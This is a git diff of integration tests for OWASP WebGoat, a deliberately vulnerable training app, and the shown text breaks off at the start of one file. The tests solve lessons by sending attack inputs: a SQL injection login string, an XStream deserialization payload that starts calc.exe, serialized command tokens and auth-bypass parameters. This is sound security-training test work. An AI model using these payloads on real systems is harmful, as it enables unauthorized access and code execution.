-            .then()
-            .statusCode(200)
-            .extract()
-            .path("lessonCompleted");
-
-    assertThat(result).isTrue();
-
-    login();
-    startLesson("CSRF", false);
-
-    Overview[] assignments =
-        RestAssured.given()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .get(url("/service/lessonoverview.mvc"))
-            .then()
-            .extract()
-            .jsonPath()
-            .getObject("$", Overview[].class);
-    //		assertThat(assignments)
-    //                .filteredOn(a -> a.getAssignment().getName().equals("CSRFLogin"))
-    //                .extracting(o -> o.solved)
-    //                .containsExactly(true);
-  }
-
-  @Data
-  private static class Overview {
-    Assignment assignment;
-    boolean solved;
-  }
-
-  /** Try to register the new user. Ignore the result. */
-  private void registerCSRFUser() {
-
-    RestAssured.given()
-        .when()
-        .relaxedHTTPSValidation()
-        .formParam("username", "csrf-" + this.getUser())
-        .formParam("password", "password")
-        .formParam("matchingPassword", "password")
-        .formParam("agree", "agree")
-        .post(url("register.mvc"));
-  }
 }
--- a/src/it/java/org/owasp/webgoat/ChallengeIntegrationTest.java
+++ b/src/it/java/org/owasp/webgoat/ChallengeIntegrationTest.java
@ -1,170 +1,112 @@
 package org.owasp.webgoat;

-import static org.junit.jupiter.api.Assertions.assertTrue;

 import io.restassured.RestAssured;
+import org.junit.jupiter.api.Test;
+
 import java.util.Arrays;
 import java.util.HashMap;
 import java.util.List;
 import java.util.Map;
-import org.assertj.core.api.Assertions;
-import org.junit.jupiter.api.Test;
-import org.springframework.http.HttpStatus;
+
+import static org.junit.jupiter.api.Assertions.assertTrue;
+

 public class ChallengeIntegrationTest extends IntegrationTest {

-  @Test
-  void testChallenge1() {
-    startLesson("Challenge1");
+    @Test
+    public void testChallenge1() {
+        startLesson("Challenge1");

-    byte[] resultBytes =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .get(url("/WebGoat/challenge/logo"))
-            .then()
-            .statusCode(200)
-            .extract()
-            .asByteArray();
+        byte[] resultBytes =
+                RestAssured.given()
+                        .when()
+                        .relaxedHTTPSValidation()
+                        .cookie("JSESSIONID", getWebGoatCookie())
+                        .get(url("/WebGoat/challenge/logo"))
+                        .then()
+                        .statusCode(200)
+                        .extract().asByteArray();

-    String pincode = new String(Arrays.copyOfRange(resultBytes, 81216, 81220));
-    Map<String, Object> params = new HashMap<>();
-    params.clear();
-    params.put("username", "admin");
-    params.put("password", "!!webgoat_admin_1234!!".replace("1234", pincode));
+        String pincode = new String(Arrays.copyOfRange(resultBytes, 81216, 81220));
+        Map<String, Object> params = new HashMap<>();
+        params.clear();
+        params.put("username", "admin");
+        params.put("password", "!!webgoat_admin_1234!!".replace("1234", pincode));

-    checkAssignment(url("/WebGoat/challenge/1"), params, true);
-    String result =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .formParams(params)
-            .post(url("/WebGoat/challenge/1"))
-            .then()
-            .statusCode(200)
-            .extract()
-            .asString();

-    String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
-    params.clear();
-    params.put("flag", flag);
-    checkAssignment(url("/WebGoat/challenge/flag"), params, true);
+        checkAssignment(url("/WebGoat/challenge/1"), params, true);
+        String result =
+                RestAssured.given()
+                        .when()
+                        .relaxedHTTPSValidation()
+                        .cookie("JSESSIONID", getWebGoatCookie())
+                        .formParams(params)
+                        .post(url("/WebGoat/challenge/1"))
+                        .then()
+                        .statusCode(200)
+                        .extract().asString();

-    checkResults("/challenge/1");
+        String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
+        params.clear();
+        params.put("flag", flag);
+        checkAssignment(url("/WebGoat/challenge/flag"), params, true);

-    List<String> capturefFlags =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .get(url("/WebGoat/scoreboard-data"))
-            .then()
-            .statusCode(200)
-            .extract()
-            .jsonPath()
-            .get("find { it.username == \"" + this.getUser() + "\" }.flagsCaptured");
-    assertTrue(capturefFlags.contains("Admin lost password"));
-  }

-  @Test
-  void testChallenge5() {
-    startLesson("Challenge5");
+        checkResults("/challenge/1");

-    Map<String, Object> params = new HashMap<>();
-    params.clear();
-    params.put("username_login", "Larry");
-    params.put("password_login", "1' or '1'='1");
+        List<String> capturefFlags =
+                RestAssured.given()
+                        .when()
+                        .relaxedHTTPSValidation()
+                        .cookie("JSESSIONID", getWebGoatCookie())
+                        .get(url("/WebGoat/scoreboard-data"))
+                        .then()
+                        .statusCode(200)
+                        .extract().jsonPath()
+                        .get("find { it.username == \"" + this.getUser() + "\" }.flagsCaptured");
+        assertTrue(capturefFlags.contains("Admin lost password"));
+    }

-    String result =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .formParams(params)
-            .post(url("/WebGoat/challenge/5"))
-            .then()
-            .statusCode(200)
-            .extract()
-            .asString();
+    @Test
+    public void testChallenge5() {
+        startLesson("Challenge5");

-    String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
-    params.clear();
-    params.put("flag", flag);
-    checkAssignment(url("/WebGoat/challenge/flag"), params, true);
+        Map<String, Object> params = new HashMap<>();
+        params.clear();
+        params.put("username_login", "Larry");
+        params.put("password_login", "1' or '1'='1");

-    checkResults("/challenge/5");
+        String result =
+                RestAssured.given()
+                        .when()
+                        .relaxedHTTPSValidation()
+                        .cookie("JSESSIONID", getWebGoatCookie())
+                        .formParams(params)
+                        .post(url("/WebGoat/challenge/5"))
+                        .then()
+                        .statusCode(200)
+                        .extract().asString();

-    List<String> capturefFlags =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .get(url("/WebGoat/scoreboard-data"))
-            .then()
-            .statusCode(200)
-            .extract()
-            .jsonPath()
-            .get("find { it.username == \"" + this.getUser() + "\" }.flagsCaptured");
-    assertTrue(capturefFlags.contains("Without password"));
-  }
+        String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
+        params.clear();
+        params.put("flag", flag);
+        checkAssignment(url("/WebGoat/challenge/flag"), params, true);

-  @Test
-  void testChallenge7() {
-    startLesson("Challenge7");
-    cleanMailbox();

-    // One should first be able to download git.zip from WebGoat
-    RestAssured.given()
-        .when()
-        .relaxedHTTPSValidation()
-        .cookie("JSESSIONID", getWebGoatCookie())
-        .get(url("/WebGoat/challenge/7/.git"))
-        .then()
-        .statusCode(200)
-        .extract()
-        .asString();
+        checkResults("/challenge/5");

-    // Should send an email to WebWolf inbox this should give a hint to the link being static
-    RestAssured.given()
-        .when()
-        .relaxedHTTPSValidation()
-        .cookie("JSESSIONID", getWebGoatCookie())
-        .formParams("email", getUser() + "@webgoat.org")
-        .post(url("/WebGoat/challenge/7"))
-        .then()
-        .statusCode(200)
-        .extract()
-        .asString();
+        List<String> capturefFlags =
+                RestAssured.given()
+                        .when()
+                        .relaxedHTTPSValidation()
+                        .cookie("JSESSIONID", getWebGoatCookie())
+                        .get(url("/WebGoat/scoreboard-data"))
+                        .then()
+                        .statusCode(200)
+                        .extract().jsonPath()
+                        .get("find { it.username == \"" + this.getUser() + "\" }.flagsCaptured");
+        assertTrue(capturefFlags.contains("Without password"));
+    }

-    // Check whether email has been received
-    var responseBody =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("WEBWOLFSESSION", getWebWolfCookie())
-            .get(webWolfUrl("/mail"))
-            .then()
-            .extract()
-            .response()
-            .getBody()
-            .asString();
-    Assertions.assertThat(responseBody).contains("Hi, you requested a password reset link");
-
-    // Call reset link with admin link
-    String result =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .get(url("/challenge/7/reset-password/{link}"), "375afe1104f4a487a73823c50a9292a2")
-            .then()
-            .statusCode(HttpStatus.ACCEPTED.value())
-            .extract()
-            .asString();
-
-    String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
-    checkAssignment(url("/WebGoat/challenge/flag"), Map.of("flag", flag), true);
-  }
 }
--- a/src/it/java/org/owasp/webgoat/CryptoIntegrationTest.java
+++ b/src/it/java/org/owasp/webgoat/CryptoIntegrationTest.java
@ -2,7 +2,6 @@ package org.owasp.webgoat;

 import static org.junit.jupiter.api.Assertions.fail;

-import io.restassured.RestAssured;
 import java.nio.charset.Charset;
 import java.security.NoSuchAlgorithmException;
 import java.security.PrivateKey;
@ -11,146 +10,125 @@ import java.security.spec.InvalidKeySpecException;
 import java.util.Base64;
 import java.util.HashMap;
 import java.util.Map;
+
 import javax.xml.bind.DatatypeConverter;
+
 import org.junit.jupiter.api.Test;
 import org.owasp.webgoat.lessons.cryptography.CryptoUtil;
 import org.owasp.webgoat.lessons.cryptography.HashingAssignment;

+import io.restassured.RestAssured;
+
 public class CryptoIntegrationTest extends IntegrationTest {

-  @Test
-  public void runTests() {
-    startLesson("Cryptography");
+	@Test
+	public void runTests() {
+		startLesson("Cryptography");

-    checkAssignment2();
-    checkAssignment3();
+		checkAssignment2();
+		checkAssignment3();

-    // Assignment 4
-    try {
-      checkAssignment4();
-    } catch (NoSuchAlgorithmException e) {
-      e.printStackTrace();
-      fail();
+		// Assignment 4
+		try {
+			checkAssignment4();
+		} catch (NoSuchAlgorithmException e) {
+			e.printStackTrace();
+			fail();
+		}
+
+		try {
+			checkAssignmentSigning();
+		} catch (Exception e) {
+			e.printStackTrace();
+			fail();
+		}
+		
+		checkAssignmentDefaults();
+
+		checkResults("/crypto");
+
+	}
+
+	private void checkAssignment2() {
+
+		String basicEncoding = RestAssured.given().when().relaxedHTTPSValidation()
+				.cookie("JSESSIONID", getWebGoatCookie()).get(url("/crypto/encoding/basic")).then().extract()
+				.asString();
+		basicEncoding = basicEncoding.substring("Authorization: Basic ".length());
+		String decodedString = new String(Base64.getDecoder().decode(basicEncoding.getBytes()));
+		String answer_user = decodedString.split(":")[0];
+		String answer_pwd = decodedString.split(":")[1];
+		Map<String, Object> params = new HashMap<>();
+		params.clear();
+		params.put("answer_user", answer_user);
+		params.put("answer_pwd", answer_pwd);
+		checkAssignment(url("/crypto/encoding/basic-auth"), params, true);
+	}
+
+	private void checkAssignment3() {
+		String answer_1 = "databasepassword";
+		Map<String, Object> params = new HashMap<>();
+		params.clear();
+		params.put("answer_pwd1", answer_1);
+		checkAssignment(url("/crypto/encoding/xor"), params, true);
+	}
+
+	private void checkAssignment4() throws NoSuchAlgorithmException {
+
+		String md5Hash = RestAssured.given().when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie())
+				.get(url("/crypto/hashing/md5")).then().extract().asString();
+
+		String sha256Hash = RestAssured.given().when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie())
+				.get(url("/crypto/hashing/sha256")).then().extract().asString();
+
+		String answer_1 = "unknown";
+		String answer_2 = "unknown";
+		for (String secret : HashingAssignment.SECRETS) {
+			if (md5Hash.equals(HashingAssignment.getHash(secret, "MD5"))) {
+				answer_1 = secret;
+			}
+			if (sha256Hash.equals(HashingAssignment.getHash(secret, "SHA-256"))) {
+				answer_2 = secret;
+			}
+		}
+
+		Map<String, Object> params = new HashMap<>();
+		params.clear();
+		params.put("answer_pwd1", answer_1);
+		params.put("answer_pwd2", answer_2);
+		checkAssignment(url("/WebGoat/crypto/hashing"), params, true);
+	}
+
+	private void checkAssignmentSigning() throws NoSuchAlgorithmException, InvalidKeySpecException {
+    	
+    	String privatePEM = RestAssured.given()
+            	.when()
+            	.relaxedHTTPSValidation()
+            	.cookie("JSESSIONID", getWebGoatCookie())
+            	.get(url("/crypto/signing/getprivate"))
+            	.then()
+				.extract().asString();
+		PrivateKey privateKey = CryptoUtil.getPrivateKeyFromPEM(privatePEM);
+
+		RSAPrivateKey privk = (RSAPrivateKey) privateKey;
+		String modulus = DatatypeConverter.printHexBinary(privk.getModulus().toByteArray());
+    	String signature = CryptoUtil.signMessage(modulus, privateKey);
+        Map<String, Object> params = new HashMap<>();
+        params.clear();
+        params.put("modulus", modulus);
+        params.put("signature", signature);
+        checkAssignment(url("/crypto/signing/verify"), params, true);
    }
 	
-    try {
-      checkAssignmentSigning();
-    } catch (Exception e) {
-      e.printStackTrace();
-      fail();
+	private void checkAssignmentDefaults() {
+    	
+    	String text = new String(Base64.getDecoder().decode("TGVhdmluZyBwYXNzd29yZHMgaW4gZG9ja2VyIGltYWdlcyBpcyBub3Qgc28gc2VjdXJl".getBytes(Charset.forName("UTF-8"))));
+
+		Map<String, Object> params = new HashMap<>();
+        params.clear();
+        params.put("secretText", text);
+        params.put("secretFileName", "default_secret");
+        checkAssignment(url("/crypto/secure/defaults"), params, true);
    }
    
-    checkAssignmentDefaults();
-
-    checkResults("/crypto");
-  }
-
-  private void checkAssignment2() {
-
-    String basicEncoding =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .get(url("/crypto/encoding/basic"))
-            .then()
-            .extract()
-            .asString();
-    basicEncoding = basicEncoding.substring("Authorization: Basic ".length());
-    String decodedString = new String(Base64.getDecoder().decode(basicEncoding.getBytes()));
-    String answer_user = decodedString.split(":")[0];
-    String answer_pwd = decodedString.split(":")[1];
-    Map<String, Object> params = new HashMap<>();
-    params.clear();
-    params.put("answer_user", answer_user);
-    params.put("answer_pwd", answer_pwd);
-    checkAssignment(url("/crypto/encoding/basic-auth"), params, true);
-  }
-
-  private void checkAssignment3() {
-    String answer_1 = "databasepassword";
-    Map<String, Object> params = new HashMap<>();
-    params.clear();
-    params.put("answer_pwd1", answer_1);
-    checkAssignment(url("/crypto/encoding/xor"), params, true);
-  }
-
-  private void checkAssignment4() throws NoSuchAlgorithmException {
-
-    String md5Hash =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .get(url("/crypto/hashing/md5"))
-            .then()
-            .extract()
-            .asString();
-
-    String sha256Hash =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .get(url("/crypto/hashing/sha256"))
-            .then()
-            .extract()
-            .asString();
-
-    String answer_1 = "unknown";
-    String answer_2 = "unknown";
-    for (String secret : HashingAssignment.SECRETS) {
-      if (md5Hash.equals(HashingAssignment.getHash(secret, "MD5"))) {
-        answer_1 = secret;
-      }
-      if (sha256Hash.equals(HashingAssignment.getHash(secret, "SHA-256"))) {
-        answer_2 = secret;
-      }
-    }
-
-    Map<String, Object> params = new HashMap<>();
-    params.clear();
-    params.put("answer_pwd1", answer_1);
-    params.put("answer_pwd2", answer_2);
-    checkAssignment(url("/WebGoat/crypto/hashing"), params, true);
-  }
-
-  private void checkAssignmentSigning() throws NoSuchAlgorithmException, InvalidKeySpecException {
-
-    String privatePEM =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .get(url("/crypto/signing/getprivate"))
-            .then()
-            .extract()
-            .asString();
-    PrivateKey privateKey = CryptoUtil.getPrivateKeyFromPEM(privatePEM);
-
-    RSAPrivateKey privk = (RSAPrivateKey) privateKey;
-    String modulus = DatatypeConverter.printHexBinary(privk.getModulus().toByteArray());
-    String signature = CryptoUtil.signMessage(modulus, privateKey);
-    Map<String, Object> params = new HashMap<>();
-    params.clear();
-    params.put("modulus", modulus);
-    params.put("signature", signature);
-    checkAssignment(url("/crypto/signing/verify"), params, true);
-  }
-
-  private void checkAssignmentDefaults() {
-
-    String text =
-        new String(
-            Base64.getDecoder()
-                .decode(
-                    "TGVhdmluZyBwYXNzd29yZHMgaW4gZG9ja2VyIGltYWdlcyBpcyBub3Qgc28gc2VjdXJl"
-                        .getBytes(Charset.forName("UTF-8"))));
-
-    Map<String, Object> params = new HashMap<>();
-    params.clear();
-    params.put("secretText", text);
-    params.put("secretFileName", "default_secret");
-    checkAssignment(url("/crypto/secure/defaults"), params, true);
-  }
 }
--- a/src/it/java/org/owasp/webgoat/DeserializationIntegrationTest.java
+++ b/src/it/java/org/owasp/webgoat/DeserializationIntegrationTest.java
@ -1,33 +1,34 @@
 package org.owasp.webgoat;

-import java.io.IOException;
-import java.util.HashMap;
-import java.util.Map;
 import org.dummy.insecure.framework.VulnerableTaskHolder;
 import org.junit.jupiter.api.Test;
 import org.owasp.webgoat.lessons.deserialization.SerializationHelper;

+import java.io.IOException;
+import java.util.HashMap;
+import java.util.Map;
+
 public class DeserializationIntegrationTest extends IntegrationTest {

-  private static String OS = System.getProperty("os.name").toLowerCase();
+    private static String OS = System.getProperty("os.name").toLowerCase();

-  @Test
-  public void runTests() throws IOException {
-    startLesson("InsecureDeserialization");
+    @Test
+    public void runTests() throws IOException {
+        startLesson("InsecureDeserialization");

-    Map<String, Object> params = new HashMap<>();
-    params.clear();
+        Map<String, Object> params = new HashMap<>();
+        params.clear();
+
+        if (OS.indexOf("win") > -1) {
+            params.put("token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "ping localhost -n 5")));
+        } else {
+            params.put("token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "sleep 5")));
+        }
+        checkAssignment(url("/WebGoat/InsecureDeserialization/task"), params, true);
+
+        checkResults("/InsecureDeserialization/");

-    if (OS.indexOf("win") > -1) {
-      params.put(
-          "token",
-          SerializationHelper.toString(new VulnerableTaskHolder("wait", "ping localhost -n 5")));
-    } else {
-      params.put(
-          "token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "sleep 5")));
    }
-    checkAssignment(url("/WebGoat/InsecureDeserialization/task"), params, true);

-    checkResults("/InsecureDeserialization/");
-  }
+
 }
--- a/src/it/java/org/owasp/webgoat/GeneralLessonIntegrationTest.java
+++ b/src/it/java/org/owasp/webgoat/GeneralLessonIntegrationTest.java
@ -2,210 +2,185 @@ package org.owasp.webgoat;

 import io.restassured.RestAssured;
 import io.restassured.http.ContentType;
-import java.util.HashMap;
-import java.util.Map;
 import org.hamcrest.CoreMatchers;
 import org.hamcrest.MatcherAssert;
 import org.junit.jupiter.api.Test;
-import org.springframework.util.StringUtils;
+
+import java.util.HashMap;
+import java.util.Map;
+

 public class GeneralLessonIntegrationTest extends IntegrationTest {

-  @Test
-  public void httpBasics() {
-    startLesson("HttpBasics");
-    Map<String, Object> params = new HashMap<>();
-    params.clear();
-    params.put("person", "goatuser");
-    checkAssignment(url("HttpBasics/attack1"), params, true);
+    @Test
+    public void httpBasics() {
+        startLesson("HttpBasics");
+        Map<String, Object> params = new HashMap<>();
+        params.clear();
+        params.put("person", "goatuser");
+        checkAssignment(url("HttpBasics/attack1"), params, true);

-    params.clear();
-    params.put("answer", "POST");
-    params.put("magic_answer", "33");
-    params.put("magic_num", "4");
-    checkAssignment(url("HttpBasics/attack2"), params, false);
+        params.clear();
+        params.put("answer", "POST");
+        params.put("magic_answer", "33");
+        params.put("magic_num", "4");
+        checkAssignment(url("HttpBasics/attack2"), params, false);

-    params.clear();
-    params.put("answer", "POST");
-    params.put("magic_answer", "33");
-    params.put("magic_num", "33");
-    checkAssignment(url("HttpBasics/attack2"), params, true);
+        params.clear();
+        params.put("answer", "POST");
+        params.put("magic_answer", "33");
+        params.put("magic_num", "33");
+        checkAssignment(url("HttpBasics/attack2"), params, true);

-    checkResults("/HttpBasics/");
-  }
-
-  @Test
-  public void httpProxies() {
-    startLesson("HttpProxies");
-    MatcherAssert.assertThat(
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .header("x-request-intercepted", "true")
-            .contentType(ContentType.JSON)
-            .get(url("HttpProxies/intercept-request?changeMe=Requests are tampered easily"))
-            .then()
-            .statusCode(200)
-            .extract()
-            .path("lessonCompleted"),
-        CoreMatchers.is(true));
-
-    checkResults("/HttpProxies/");
-  }
-
-  @Test
-  public void cia() {
-    startLesson("CIA");
-    Map<String, Object> params = new HashMap<>();
-    params.clear();
-    params.put(
-        "question_0_solution",
-        "Solution 3: By stealing a database where names and emails are stored and uploading it to a"
-            + " website.");
-    params.put(
-        "question_1_solution",
-        "Solution 1: By changing the names and emails of one or more users stored in a database.");
-    params.put(
-        "question_2_solution",
-        "Solution 4: By launching a denial of service attack on the servers.");
-    params.put(
-        "question_3_solution",
-        "Solution 2: The systems security is compromised even if only one goal is harmed.");
-    checkAssignment(url("/WebGoat/cia/quiz"), params, true);
-    checkResults("/cia/");
-  }
-
-  @Test
-  public void vulnerableComponents() {
-    if (StringUtils.hasText(System.getProperty("running.in.docker"))) {
-      String solution =
-          "<contact class='dynamic-proxy'>\n"
-              + "<interface>org.owasp.webgoat.lessons.vulnerablecomponents.Contact</interface>\n"
-              + "  <handler class='java.beans.EventHandler'>\n"
-              + "    <target class='java.lang.ProcessBuilder'>\n"
-              + "      <command>\n"
-              + "        <string>calc.exe</string>\n"
-              + "      </command>\n"
-              + "    </target>\n"
-              + "    <action>start</action>\n"
-              + "  </handler>\n"
-              + "</contact>";
-      startLesson("VulnerableComponents");
-      Map<String, Object> params = new HashMap<>();
-      params.clear();
-      params.put("payload", solution);
-      checkAssignment(url("/WebGoat/VulnerableComponents/attack1"), params, true);
-      checkResults("/VulnerableComponents/");
+        checkResults("/HttpBasics/");
    }
-  }

-  @Test
-  public void insecureLogin() {
-    startLesson("InsecureLogin");
-    Map<String, Object> params = new HashMap<>();
-    params.clear();
-    params.put("username", "CaptainJack");
-    params.put("password", "BlackPearl");
-    checkAssignment(url("/WebGoat/InsecureLogin/task"), params, true);
-    checkResults("/InsecureLogin/");
-  }
+    @Test
+    public void httpProxies() {
+        startLesson("HttpProxies");
+        MatcherAssert.assertThat(RestAssured.given()
+                .when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie()).header("x-request-intercepted", "true")
+                .contentType(ContentType.JSON)
+                .get(url("HttpProxies/intercept-request?changeMe=Requests are tampered easily"))
+                .then()
+                .statusCode(200).extract().path("lessonCompleted"), CoreMatchers.is(true));

-  @Test
-  public void securePasswords() {
-    startLesson("SecurePasswords");
-    Map<String, Object> params = new HashMap<>();
-    params.clear();
-    params.put("password", "ajnaeliclm^&&@kjn.");
-    checkAssignment(url("/WebGoat/SecurePasswords/assignment"), params, true);
-    checkResults("SecurePasswords/");
+        checkResults("/HttpProxies/");
+    }

-    startLesson("AuthBypass");
-    params.clear();
-    params.put("secQuestion2", "John");
-    params.put("secQuestion3", "Main");
-    params.put("jsEnabled", "1");
-    params.put("verifyMethod", "SEC_QUESTIONS");
-    params.put("userId", "12309746");
-    checkAssignment(url("/WebGoat/auth-bypass/verify-account"), params, true);
-    checkResults("/auth-bypass/");
+    @Test
+    public void cia() {
+        startLesson("CIA");
+        Map<String, Object> params = new HashMap<>();
+        params.clear();
+        params.put("question_0_solution", "Solution 3: By stealing a database where names and emails are stored and uploading it to a website.");
+        params.put("question_1_solution", "Solution 1: By changing the names and emails of one or more users stored in a database.");
+        params.put("question_2_solution", "Solution 4: By launching a denial of service attack on the servers.");
+        params.put("question_3_solution", "Solution 2: The systems security is compromised even if only one goal is harmed.");
+        checkAssignment(url("/WebGoat/cia/quiz"), params, true);
+        checkResults("/cia/");

-    startLesson("HttpProxies");
-    MatcherAssert.assertThat(
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .header("x-request-intercepted", "true")
-            .contentType(ContentType.JSON)
-            .get(
-                url("/WebGoat/HttpProxies/intercept-request?changeMe=Requests are tampered easily"))
-            .then()
-            .statusCode(200)
-            .extract()
-            .path("lessonCompleted"),
-        CoreMatchers.is(true));
-    checkResults("/HttpProxies/");
-  }
+    }
    
-  @Test
-  public void chrome() {
-    startLesson("ChromeDevTools");
+    @Test
+    public void vulnerableComponents() {
+    	String solution = "<contact class='dynamic-proxy'>\n" + 
+    			"<interface>org.owasp.webgoat.lessons.vulnerable_components.Contact</interface>\n" +
+    			"  <handler class='java.beans.EventHandler'>\n" + 
+    			"    <target class='java.lang.ProcessBuilder'>\n" + 
+    			"      <command>\n" + 
+    			"        <string>calc.exe</string>\n" + 
+    			"      </command>\n" + 
+    			"    </target>\n" + 
+    			"    <action>start</action>\n" + 
+    			"  </handler>\n" + 
+    			"</contact>";
+    	startLesson("VulnerableComponents");
+        Map<String, Object> params = new HashMap<>();
+        params.clear();
+        params.put("payload", solution);
+        checkAssignment(url("/WebGoat/VulnerableComponents/attack1"), params, true);
+        checkResults("/VulnerableComponents/");
+    }
    
-    Map<String, Object> params = new HashMap<>();
-    params.clear();
-    params.put("param1", "42");
-    params.put("param2", "24");
+    @Test
+    public void insecureLogin() {
+    	startLesson("InsecureLogin");
+        Map<String, Object> params = new HashMap<>();
+        params.clear();
+        params.put("username", "CaptainJack");
+        params.put("password", "BlackPearl");
+        checkAssignment(url("/WebGoat/InsecureLogin/task"), params, true);
+        checkResults("/InsecureLogin/");
+    }

-    String result =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .header("webgoat-requested-by", "dom-xss-vuln")
-            .header("X-Requested-With", "XMLHttpRequest")
-            .formParams(params)
-            .post(url("/WebGoat/CrossSiteScripting/phone-home-xss"))
-            .then()
-            .statusCode(200)
-            .extract()
-            .path("output");
-    String secretNumber = result.substring("phoneHome Response is ".length());
+    @Test
+    public void securePasswords() {
+        startLesson("SecurePasswords");
+        Map<String, Object> params = new HashMap<>();
+        params.clear();
+        params.put("password", "ajnaeliclm^&&@kjn.");
+        checkAssignment(url("/WebGoat/SecurePasswords/assignment"), params, true);
+        checkResults("SecurePasswords/");

-    params.clear();
-    params.put("successMessage", secretNumber);
-    checkAssignment(url("/WebGoat/ChromeDevTools/dummy"), params, true);
+        startLesson("AuthBypass");
+        params.clear();
+        params.put("secQuestion2", "John");
+        params.put("secQuestion3", "Main");
+        params.put("jsEnabled", "1");
+        params.put("verifyMethod", "SEC_QUESTIONS");
+        params.put("userId", "12309746");
+        checkAssignment(url("/WebGoat/auth-bypass/verify-account"), params, true);
+        checkResults("/auth-bypass/");

-    params.clear();
-    params.put("number", "24");
-    params.put("network_num", "24");
-    checkAssignment(url("/WebGoat/ChromeDevTools/network"), params, true);
+        startLesson("HttpProxies");
+        MatcherAssert.assertThat(RestAssured.given().when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie()).header("x-request-intercepted", "true")
+                .contentType(ContentType.JSON)
+                .get(url("/WebGoat/HttpProxies/intercept-request?changeMe=Requests are tampered easily")).then()
+                .statusCode(200).extract().path("lessonCompleted"), CoreMatchers.is(true));
+        checkResults("/HttpProxies/");
+    }

-    checkResults("/ChromeDevTools/");
-  }
+    @Test
+    public void chrome() {
+        startLesson("ChromeDevTools");

-  @Test
-  public void authByPass() {
-    startLesson("AuthBypass");
-    Map<String, Object> params = new HashMap<>();
-    params.clear();
-    params.put("secQuestion2", "John");
-    params.put("secQuestion3", "Main");
-    params.put("jsEnabled", "1");
-    params.put("verifyMethod", "SEC_QUESTIONS");
-    params.put("userId", "12309746");
-    checkAssignment(url("/auth-bypass/verify-account"), params, true);
-    checkResults("/auth-bypass/");
-  }
+        Map<String, Object> params = new HashMap<>();
+        params.clear();
+        params.put("param1", "42");
+        params.put("param2", "24");
+
+        String result =
+                RestAssured.given()
+                        .when()
+                        .relaxedHTTPSValidation()
+                        .cookie("JSESSIONID", getWebGoatCookie())
+                        .header("webgoat-requested-by", "dom-xss-vuln")
+                        .header("X-Requested-With", "XMLHttpRequest")
+                        .formParams(params)
+                        .post(url("/WebGoat/CrossSiteScripting/phone-home-xss"))
+                        .then()
+                        .statusCode(200)
+                        .extract().path("output");
+        String secretNumber = result.substring("phoneHome Response is ".length());
+
+        params.clear();
+        params.put("successMessage", secretNumber);
+        checkAssignment(url("/WebGoat/ChromeDevTools/dummy"), params, true);
+
+        params.clear();
+        params.put("number", "24");
+        params.put("network_num", "24");
+        checkAssignment(url("/WebGoat/ChromeDevTools/network"), params, true);
+
+        checkResults("/ChromeDevTools/");
+    }
+    
+    @Test
+    public void authByPass() {
+        startLesson("AuthBypass");
+        Map<String, Object> params = new HashMap<>();
+        params.clear();
+        params.put("secQuestion2", "John");
+        params.put("secQuestion3", "Main");
+        params.put("jsEnabled", "1");
+        params.put("verifyMethod", "SEC_QUESTIONS");
+        params.put("userId", "12309746");
+        checkAssignment(url("/auth-bypass/verify-account"), params, true);
+        checkResults("/auth-bypass/");
+
+    }
+    
+    @Test
+    public void lessonTemplate() {
+    	startLesson("LessonTemplate");
+    	Map<String, Object> params = new HashMap<>();
+        params.clear();
+        params.put("param1", "secr37Value");
+        params.put("param2", "Main");
+        checkAssignment(url("/lesson-template/sample-attack"), params, true);
+        checkResults("/lesson-template/");
+    	
+    }
    
-  @Test
-  public void lessonTemplate() {
-    startLesson("LessonTemplate");
-    Map<String, Object> params = new HashMap<>();
-    params.clear();
-    params.put("param1", "secr37Value");
-    params.put("param2", "Main");
-    checkAssignment(url("/lesson-template/sample-attack"), params, true);
-    checkResults("/lesson-template/");
-  }
 }
--- a/src/it/java/org/owasp/webgoat/IDORIntegrationTest.java
+++ b/src/it/java/org/owasp/webgoat/IDORIntegrationTest.java
@ -1,14 +1,13 @@
 package org.owasp.webgoat;

+
 import static org.junit.jupiter.api.DynamicTest.dynamicTest;

-import io.restassured.RestAssured;
-import io.restassured.http.ContentType;
 import java.io.IOException;
 import java.util.Arrays;
 import java.util.HashMap;
 import java.util.Map;
-import lombok.SneakyThrows;
+
 import org.hamcrest.CoreMatchers;
